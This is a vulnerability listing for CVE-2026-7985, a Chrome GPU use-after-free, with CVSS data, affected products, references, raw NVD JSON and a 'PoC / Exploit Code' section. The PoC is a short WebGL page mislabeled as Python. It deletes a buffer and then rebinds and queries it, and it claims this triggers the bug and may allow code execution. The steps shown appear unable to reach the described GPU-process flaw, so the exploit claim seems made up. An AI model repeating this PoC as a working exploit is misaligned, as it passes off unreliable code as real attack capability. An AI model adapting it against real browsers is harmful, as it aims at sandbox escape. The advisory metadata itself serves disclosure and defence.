CVE-2026-7985

Description

Use after free in GPU in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-7985: Chrome GPU Use-After-Free
// This script attempts to trigger a UAF in the GPU process via WebGL.
// Note: Actual exploitation requires specific heap grooming and renderer compromise.
-->
<html>
<head>
    <title>CVE-2026-7985 PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        // Attempt to get a WebGL context to communicate with GPU process
        const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

        if (gl) {
            console.log("[+] WebGL context acquired");

            // Create a resource (buffer) that will be managed in GPU process
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Perform some operations to ensure allocation
            gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 1.0, 0.0]), gl.STATIC_DRAW);

            // Trigger the vulnerability: Use the object after freeing it
            // In a real scenario, specific timing or memory pressure is applied here
            function triggerRace() {
                // Step 1: Free the buffer in GPU process
                gl.deleteBuffer(buffer);
                
                // Step 2: Attempt to access or bind the freed buffer (UAF)
                // This may cause the GPU process to crash or allow code execution
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Step 3: Perform operations on the invalid buffer
                const data = gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE);
                console.log("[+] Operation on freed buffer completed. Check GPU process status.");
            }

            // Trigger the sequence
            triggerRace();
        } else {
            console.log("[-] WebGL not supported");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7985
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7985
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7985/
[4] VulDB https://vuldb.com/cve/CVE-2026-7985
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/498352423

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7985", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:49.383", "lastModified": "2026-05-06T23:21:23.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GPU in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498352423", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}